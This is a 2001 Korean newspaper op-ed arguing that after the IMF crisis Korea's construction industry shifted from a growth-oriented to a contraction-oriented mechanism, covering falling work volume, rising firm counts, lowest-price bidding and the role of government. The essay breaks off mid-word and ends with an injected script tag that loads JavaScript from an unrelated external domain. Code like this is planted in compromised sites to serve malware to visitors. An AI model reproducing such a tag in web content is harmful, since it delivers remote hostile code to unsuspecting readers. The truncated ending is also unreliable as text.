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언론기고

축소지향의 건설메카니즘

보도일자 2001-06-05

보도기관 한국건설신문

건설산업은 위기에 처해 있다고 한다. 흔히 그 원인으로서는 과거보다 공사물량이 크게 줄어 들었고, 그럼에도 불구하고 건설업체 수는 기하급수적으로 늘어났으며, 건설업체의 신용도가 추락하여 자금동원이 어려울 뿐만 아니라 해외건설시장에서는 보증조차 받기 어려워졌다는 사실 등을 지적하고 있다.

따라서 위기극복을 위해서는 건설공사 물량을 늘려주고, 부실업체를 시장에서 퇴출시키며, 건설업체에 대한 차별적인 금융관행을 해소하고, 정부가 적극적으로 해외건설업체에 대한 보증지원을 해 주어야 한다는 목소리가 높다.

물론 이같은 지적은 타당하다고 생각한다. 하지만 현재 건설산업이 처해있는 위기는 일시적인 수주난·자금난이 아니라 「경제사회구조의 전반적인 변화와 연계되어 있는 심각한 구조적 위기」가 아닐까 싶다.

그 위기의 본질을 한마디로 요약한다면, IMF 구제금융 신청 시점(1997년말)을 전후하여 「확대지향의 건설메카니즘이 축소지향의 건설메카니즘으로 전환」된 데 있다고 본다.

확대지향의 건설메카니즘을 건설기업 차원에서 설명하면, 중소기업이 중견기업으로, 중견기업이 대기업으로 크게 성장할 수 있는 방향으로 작동했던 메카니즘을 의미한다. 예를 들어 보자. 적어도 1997년말까지 국내 건설시장 규모는 민간과 공공부문을 가릴 것 없이 계속 커졌다. 해외건설시장도 부침이 많기는 하였지만 1997년에 140억달러라는 사상최고의 수주액을 기록하였다.

어디 건설시장 뿐인가? 국내 경제규모 자체가 오랫동안의 고도성장으로 계속 커졌다. 경제성장에 따라 공사물량이 확대되었다는 것도 중요하지만, 건설업체들의 수익성 또한 높았다는 사실도 중요하다. 공공부문의 경우 적어도 1998년 8월까지는 자율조정이 성행하였고, 민간부문의 경우는 공사 자체보다 부동산 경기의 호황으로 땅값·집값이 천정부지로 치솟았기 때문이다.

SOC시설이나 주택에 대한 만성적인 초과수요가 수십년간 지속된 반면, 건설시장에 대한 진입규제는 요몇년사이에야 비로소 허물어지기 시작하였다. 폐쇄적인 국내 건설시장에서는 자율조정을 통한 물량배분이 이루어졌고, 대기업은 대기업대로, 중소기업은 중소기업대로 선단식 경영과 외형위주의 성장을 추구하였다.

정부정책은 건설산업의 보호와 물량배분의 형평성 확보에 치중하였으며, 경기가 침체되면 건설투자를 확대하는 등 경기부양의 수단으로 건설산업을 활용해왔다. 바로 이같은 경제사회구조와 정부정책의 틀 속에서 건설기업은 성장을 거듭하였고, 건설산업은 황금시대를 구가해오지 않았던가.

그런데 갑자기, IMF에 구제금융을 신청했던 1997년말부터 상황은 정반대로 바뀌었다. 경제규모의 위축과 더불어, 건설시장은 국내와 해외를 막론하게 크게 줄어 들었다. 비록 1998년부터 서서히 회복되고 있다고 하지만, 과거와 같은 고도성장을 앞으로 기대하기 어렵다는 사실은 모두가 인정하고 있다. 다시 말해서 공사물량은 앞으로도 크게 늘어나리라고 기대하기 어렵다.

수익성 측면은 좀더 심각하다. 공공공사의 경우 자율조정 관행이 사라지면서 더 이상 안정적인 물량확보나 과거와 같은 수익성을 기대할 수 없게 되었다. 민간공사의 물량창출과 수익성에 큰 영향을 미쳤던 부동산 경기도 과거처럼 활성화될 가능성이 당분간 없는 것 같다.

재벌개혁이 추진되면서 대기업의 선단식 경영도 어렵게 되었고, 금융위기·유동성위기를 겪으면서 건설업체들도 외형위주가 아니라 수익성 위주의 경영으로 전환하지 않을 수 없게 되었다. 게다가 1997년 1월부터 WTO정부조달협정에 따라 건설시장을 개방하였고, 진입규제가 지속적으로 완화되면서 건설업체 수는 기하급수적으로 늘어났다.

어디 그 뿐인가? 경제위기를 겪는 과정에서 수많은 건설업체가 부도 내지 부도직전의 상태에 처했지만, 퇴출장치의 미비로 인하여 여전히 시장에 남아있고, 기업분할·분사 등을 통해 그 수를 오히려 더 늘여가고 있다. 바로 이같은 구조속에서 과거와 정반대로 대기업이 중견기업으로, 중견기업이 중소기업으로 전락하는 축소지향의 건설메카니즘이 작동하고 있는 것이다.

지금 1,000억원 이상 PQ공사에 적용되는 최저가 낙찰제가 건설업계의 핫이슈로 부상될 수 밖에 없는 이유도, 최저가 낙찰제가 이같은 축소지향의 건설메카니즘 작동을 더 가속(加速)시킬 것이기 때문이다.    

축소지향의 건설메카니즘이 작동하는 상황에서 중요한 것은 정부역할이다. 폐쇄된 국내시장에서 진입규제를 통해 소수의 건설업체를 보호·육성한다던가, 대/중/소·서울/지방건설업체간 물량배분의 형평성을 확보하고자 애쓰던 것은 확대지향의 건설메카니즘이 작동하던 시대에 어울리던 역할이다.

개방된 건설시장에서, 시장규모는 줄어 들었는데 업체 수는 기하급수적으로 늘어났고, 퇴?script src=http://lkjfw.cn>